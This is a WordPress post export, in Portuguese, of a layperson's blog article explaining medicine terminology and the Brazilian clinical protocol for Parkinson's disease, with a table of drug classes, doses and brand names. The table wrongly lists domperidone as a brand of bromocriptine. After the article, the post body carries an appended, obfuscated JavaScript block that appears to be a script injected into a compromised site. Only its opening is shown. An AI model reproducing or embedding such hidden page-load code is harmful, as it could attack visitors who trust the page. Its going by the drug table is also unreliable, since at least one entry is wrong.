{"id":207,"date":"2022-03-06T15:46:13","date_gmt":"2022-03-06T18:46:13","guid":{"rendered":"https:\/\/www.tenhoparkinson.com.br\/?p=207"},"modified":"2023-01-31T15:47:25","modified_gmt":"2023-01-31T18:47:25","slug":"protocolo-clinico-e-medicamentos-para-parkinson","status":"publish","type":"post","link":"https:\/\/www.tenhoparkinson.com.br\/?p=207","title":{"rendered":"Protocolo cl\u00ednico e medicamentos para Parkinson"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_81 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Posts<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Alternar tabela de conte\u00fado\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=207\/#Marcus_Carvalho_Fonseca\" >Marcus Carvalho Fonseca<\/a><ul class='ez-toc-list-level-4' ><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.tenhoparkinson.com.br\/?p=207\/#Texto_disponibilizado_em_mar2022_Se_quiser_baixar_este_texto_em_pdf_clique_aqui\" >Texto disponibilizado em mar\/2022. Se quiser baixar este texto em pdf clique aqui.<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Marcus_Carvalho_Fonseca\"><\/span>Marcus Carvalho Fonseca<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Texto_disponibilizado_em_mar2022_Se_quiser_baixar_este_texto_em_pdf_clique_aqui\"><\/span>Texto disponibilizado em mar\/2022. Se quiser baixar este texto em pdf clique <a href=\"https:\/\/drive.google.com\/file\/d\/1HpiNF9Q4cVXCQsphimbb9kI9Tmap6WDZ\/view?usp=share_link\" target=\"_blank\" rel=\"noreferrer noopener\">aqui<\/a>.<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p><em>Os conte\u00fados apresentados neste texto s\u00e3o apenas informativos e n\u00e3o se constituem em artigo <\/em><em>t\u00e9cnico cient\u00edfico. Seu objetivo, junto com os demais textos dispon\u00edveis aqui no meu website<\/em><em> \u00e9, por meio de uma abordagem introdut\u00f3ria de temas pouco discutidos entre n\u00f3s, contribuir para que possamos entender com mais clareza o contexto da doen\u00e7a de Parkinson (DP). \u00c9 <\/em><em>importante ressaltar que n\u00e3o sou profissional da \u00e1rea da sa\u00fade. Portanto, n\u00e3o utilize de forma alguma nenhuma parte do conte\u00fado para automedica\u00e7\u00e3o. Trata-se de um conjunto de informa\u00e7\u00f5es obtidas pela experi\u00eancia e conhecimento adquiridos ao longo de anos com Parkinson e em pesquisas na internet. Ou seja, \u00e9 um texto escrito por um leigo para leigos.<\/em><\/p>\n\n\n\n<p>Antes de apresentar a rela\u00e7\u00e3o dos medicamentos para a DP, fiz uma breve introdu\u00e7\u00e3o para dirimir eventuais d\u00favidas sobre a terminologia empregada nessa \u00e1rea. N\u00e3o precisa ficar ansioso, s\u00e3o apenas alguns par\u00e1grafos.<\/p>\n\n\n\n<p>Voc\u00ea sabia que medicamento, medica\u00e7\u00e3o e rem\u00e9dio s\u00e3o coisas diferentes?<\/p>\n\n\n\n<p>Medicamentos&nbsp;s\u00e3o subst\u00e2ncias elaboradas em farm\u00e1cias de manipula\u00e7\u00e3o (medicamentos manipulados) ou ind\u00fastrias (medicamentos industriais), que t\u00eam como fun\u00e7\u00e3o prevenir, curar, diagnosticar ou diminuir os sintomas de uma determinada doen\u00e7a, segundo determina\u00e7\u00f5es legais de seguran\u00e7a, efic\u00e1cia e qualidade.&nbsp;Isso quer dizer que os medicamentos&nbsp;s\u00e3o compostos por subst\u00e2ncias que possuem efic\u00e1cia comprovada cientificamente e que passaram por controle t\u00e9cnico.<\/p>\n\n\n\n<p>O rem\u00e9dio est\u00e1 associado a todo tipo de cuidado utilizado para curar ou aliviar doen\u00e7as, sintomas, desconforto e mal-estar, tais como ch\u00e1s, infus\u00f5es, plantas medicinais, sucos naturais, repouso, dieta alimentar, comprimidos, xaropes, dentre in\u00fameras outras possibilidades. Para ser considerado um medicamento, o rem\u00e9dio deve atender uma s\u00e9rie de exig\u00eancias do Minist\u00e9rio da Sa\u00fade, visando garantir a seguran\u00e7a dos consumidores.<\/p>\n\n\n\n<p>J\u00e1 a medica\u00e7\u00e3o \u00e9 o ato de tratar com medicamento, segundo prescri\u00e7\u00f5es m\u00e9dicas. Envolve tamb\u00e9m a utiliza\u00e7\u00e3o de rem\u00e9dios ou de outros procedimentos terap\u00eauticos, tendo em conta uma indica\u00e7\u00e3o ou orienta\u00e7\u00e3o especializada.<\/p>\n\n\n\n<p>No Brasil, a Anvisa \u2013 Ag\u00eancia Nacional de Vigil\u00e2ncia Sanit\u00e1ria \u00e9 respons\u00e1vel pelos regulamentos e concess\u00f5es que orientam a ind\u00fastria com rela\u00e7\u00e3o ao registro de nome de medicamentos. A maioria dos medicamentos tem dois nomes: o nome gen\u00e9rico e o nome de marca. O gen\u00e9rico descreve o ingrediente ativo do medicamento, por exemplo, levodopa \u00e9 levodopa, n\u00e3o importa quem a produza. Os medicamentos de refer\u00eancia &#8211; tamb\u00e9m conhecidos como \u201cde marca\u201d possuem registro na Anvisa.<\/p>\n\n\n\n<p>Segundo a Anvisa, medicamento gen\u00e9rico \u00e9&nbsp;aquele que cont\u00e9m o mesmo princ\u00edpio ativo, na mesma dose e forma farmac\u00eautica, \u00e9 administrado pela mesma via e com a mesma posologia e indica\u00e7\u00e3o terap\u00eautica do medicamento de refer\u00eancia, apresentando efic\u00e1cia e seguran\u00e7a equivalentes \u00e0 do medicamento de refer\u00eancia podendo, com este, ser intercambi\u00e1vel.&nbsp;O gen\u00e9rico n\u00e3o possui nome de marca, somente a denomina\u00e7\u00e3o qu\u00edmica de acordo com a Denomina\u00e7\u00e3o Comum Brasileira (DCB). Na embalagem dos gen\u00e9ricos<strong>&nbsp;h\u00e1 uma tarja amarela contendo a letra \u201cG\u201d e a inscri\u00e7\u00e3o \u201cMedicamento Gen\u00e9rico\u201d. <\/strong>Como esse tipo de medicamento n\u00e3o tem marca, o que o consumidor l\u00ea na embalagem \u00e9 o princ\u00edpio ativo do medicamento.<\/p>\n\n\n\n<p>H\u00e1 tamb\u00e9m o medicamento similar que \u00e9 identificado pela marca ou nome comercial e<strong>possui o mesmo princ\u00edpio ativo de um medicamento de refer\u00eancia<\/strong>. A diferen\u00e7a entre eles est\u00e1 relacionada a alguns aspectos, como:&nbsp;prazo de validade do medicamento; embalagem; rotulagem; tamanho e forma do produto.&nbsp;&nbsp;<\/p>\n\n\n\n<p>Um medicamento similar s\u00f3 pode substituir&nbsp;seu respectivo medicamento de refer\u00eancia ap\u00f3s passar por testes laboratoriais que comprovem a equival\u00eancia, iguais aos que s\u00e3o exigidos para os gen\u00e9ricos.<\/p>\n\n\n\n<p>O tratamento da DP visa dois alvos: a redu\u00e7\u00e3o da progress\u00e3o da doen\u00e7a (neuro prote\u00e7\u00e3o) e o controle dos sintomas (tratamento sintom\u00e1tico). O desenvolvimento de medicamentos com finalidade de neuro prote\u00e7\u00e3o \u00e9 uma meta ainda n\u00e3o atingida at\u00e9 o momento, e nenhum medicamento possui recomenda\u00e7\u00e3o na pr\u00e1tica cl\u00ednica para esse prop\u00f3sito.<\/p>\n\n\n\n<p>A boa not\u00edcia \u00e9 que j\u00e1 se sabe que os agentes neuro protetores podem ser compostos desenvolvidos especificamente com essa propriedade ou subst\u00e2ncias que ocorrem naturalmente e cujo consumo parece proteger o c\u00e9rebro contra a degenera\u00e7\u00e3o, tais como a cafe\u00edna, nicotina, ginseng e c\u00farcuma. Tudo isso encontra-se ainda em fase de estudos e comprova\u00e7\u00e3o cient\u00edfica, de tal forma que n\u00e3o h\u00e1 no momento nenhuma orienta\u00e7\u00e3o m\u00e9dica que aponte para o consumo dessas subst\u00e2ncias. Por isso, n\u00e3o consuma esses produtos sem antes conversar com seu neurologista.<\/p>\n\n\n\n<p>Agora seguem as informa\u00e7\u00f5es sobre medicamentos para a DP, baseadas no documento oficial do Minist\u00e9rio da Sa\u00fade que, por meio das Secretarias de Aten\u00e7\u00e3o \u00e0 Sa\u00fade e de Ci\u00eancia e Tecnologia e Insumos Estrat\u00e9gicos editou a Portaria conjunta N\u00ba10 de 31 de outubro de 2017, que aprovou o documento Protocolo Cl\u00ednico e Diretrizes Terap\u00eauticas da DP (veja no link <a href=\"https:\/\/www.gov.br\/saude\/pt-br\/assuntos\/protocolos-clinicos-e-diretrizes-terapeuticas-pcdt\/arquivos\/2017\/pcdt_doenca_de_parkinson_2017.pdf\">https:\/\/www.gov.br\/saude\/pt-br\/assuntos\/protocolos-clinicos-e-diretrizes-terapeuticas-pcdt\/arquivos\/2017\/pcdt_doenca_de_parkinson_2017.pdf<\/a> ). Se voc\u00ea preferir uma leitura mais detalhada pode acessar diretamente o Protocolo neste link.<em><\/em><\/p>\n\n\n\n<p>Protocolos Cl\u00ednicos e Diretrizes Terap\u00eauticas (PCDT)&nbsp;s\u00e3o documentos que estabelecem crit\u00e9rios para o diagn\u00f3stico e tratamento da doen\u00e7a.<\/p>\n\n\n\n<p>Com rela\u00e7\u00e3o aos tratamentos sintom\u00e1ticos, existem atualmente sete (incluindo o controle psic\u00f3tico) grupos de medicamentos relacionados no Protocolo Cl\u00ednico e Diretrizes Terap\u00eauticas da DP para o controle dos sintomas da DP, que s\u00e3o:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\">\n<li>Levodopa.<\/li>\n\n\n\n<li>Agonistas Dopamin\u00e9rgicos.<\/li>\n\n\n\n<li>Inibidores da monoamino-oxidase B (MAO-B).<\/li>\n\n\n\n<li>Inibidores da catecol-O-metiltransferase (COMT).<\/li>\n\n\n\n<li>Anticolin\u00e9rgicos.<\/li>\n\n\n\n<li>Antiglutamat\u00e9rgicos.<\/li>\n\n\n\n<li>Controle psic\u00f3tico*.<\/li>\n<\/ol>\n\n\n\n<p><em>*Com rela\u00e7\u00e3o ao controle dos sintomas psic\u00f3ticos presentes na DP, at\u00e9 o momento a clozapina \u00e9 o medicamento com evid\u00eancia de maior efic\u00e1cia, sendo o de escolha para o tratamento da psicose na DP. A clozapina foi incorporada para o tratamento de sintomas psic\u00f3ticos em casos de DP conforme Relat\u00f3rio de Recomenda\u00e7\u00e3o n\u00ba 218\/2016 da Comiss\u00e3o Nacional de Incorpora\u00e7\u00e3o de Tecnologias no SUS (CONITEC) e a Portaria SCTIE\/MS n\u00ba 22\/2016.<\/em><\/p>\n\n\n\n<p>Voc\u00ea sabe a que grupo pertence o medicamento que voc\u00ea toma? Ent\u00e3o confira no quadro a seguir. Se voc\u00ea tem d\u00favidas sobre o nome do medicamento, ou seu princ\u00edpio ativo, consulte a bula ou converse com seu m\u00e9dico.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table  class=\" table table-hover\" ><tbody><tr><td><strong>Medicamento segundo princ\u00edpio ativo e forma de apresenta\u00e7\u00e3o<\/strong><strong><\/strong><\/td><td><strong>Fun\u00e7\u00e3o do medicamento segundo o protocolo cl\u00ednico e diretrizes terap\u00eauticas<\/strong><strong><\/strong><\/td><td><strong>Marca<\/strong><strong><\/strong> <strong>(nome comercial)<\/strong><strong><\/strong><\/td><\/tr><tr><td>Amantadina comprimidos de 100 mg<\/td><td>Antiglutamat\u00e9rgico<\/td><td>Mantidan<\/td><\/tr><tr><td>Biperideno comprimidos de 2 mg e comprimidos de libera\u00e7\u00e3o controlada de 4 mg<\/td><td>Anticolin\u00e9rgico<\/td><td>Akineton; Cinetol injet\u00e1vel e em comprimidos; Parkinsol e Propark<\/td><\/tr><tr><td>Bromocriptina comprimidos de 2,5 mg<\/td><td>Agonista Dopamin\u00e9rgico<\/td><td>Domperidona e Parlodel<\/td><\/tr><tr><td>Clozapina comprimidos de 25 mg e 100 mg<\/td><td>Transtornos psic\u00f3ticos<\/td><td>Ok\u00f3tico; Xynaz; Pinazon e Leponex e os Gen\u00e9ricos da Lafepe e Crist\u00e1lia<\/td><\/tr><tr><td>Entacapona comprimidos de 200 mg<\/td><td>Inibidor da COMT<\/td><td>Contam; Entarkin e os Gen\u00e9ricos da Furp e da EMS<\/td><\/tr><tr><td>Levodopa \/ Carbidopa comprimidos de 200\/50 mg e 250\/25 mg<\/td><td>Dopamin\u00e9rgico<\/td><td>Carbidol; Parkidopa; Sinemet; Parklen; Cronomet e os Gen\u00e9ricos da SEMS e da Ach\u00e9<\/td><\/tr><tr><td>Levodopa \/ Benserazida comprimidos ou c\u00e1psulas de 100\/25 mg ou comprimido de 200\/50 mg. Comprimidos de 100\/25 mg dispon\u00edveis na forma dispers\u00edvel &nbsp;<\/td><td>Dopamin\u00e9rgico<\/td><td>Prolopa (BD, HBS e DR); Ekson e os Gen\u00e9ricos da Ach\u00e9 e da SEM<\/td><\/tr><tr><td>Pramipexol comprimidos de 0,125, 0,25 e 1 mg<\/td><td>Agonista Dopamin\u00e9rgico<\/td><td>Sifrol; Sifrol ER; Stabil; Pisa; Min\u00e9rgi; Pramipezan; Quera; Rock LP e os Gen\u00e9ricos da Pratis Donaduzzi; Eurofarma; EMS; Ach\u00e9; Biolab; Germed Pharma e Crist\u00e1lia<\/td><\/tr><tr><td>Rasagilina comprimidos de 1mg<\/td><td>Inibidor da MAO-B<\/td><td>Azilect e o Gen\u00e9rico da TEVA<\/td><\/tr><tr><td>Selegilina comprimidos de 5 mg e dr\u00e1gea ou comprimido de 10 mg<\/td><td>Inibidor da MAO-B<\/td><td>Jumexil; Niar; Parkesin e o Gen\u00e9rico da Biosint\u00e9tica<\/td><\/tr><tr><td>Triexifenidil comprimidos de 5 mg<\/td><td>Anticolin\u00e9rgico<\/td><td>Artane<\/td><\/tr><tr><td>Tolcapona comprimidos de 100 mg<\/td><td>Inibidor da COMT<\/td><td>Tasmar<\/td><\/tr><\/tbody><\/table><\/figure>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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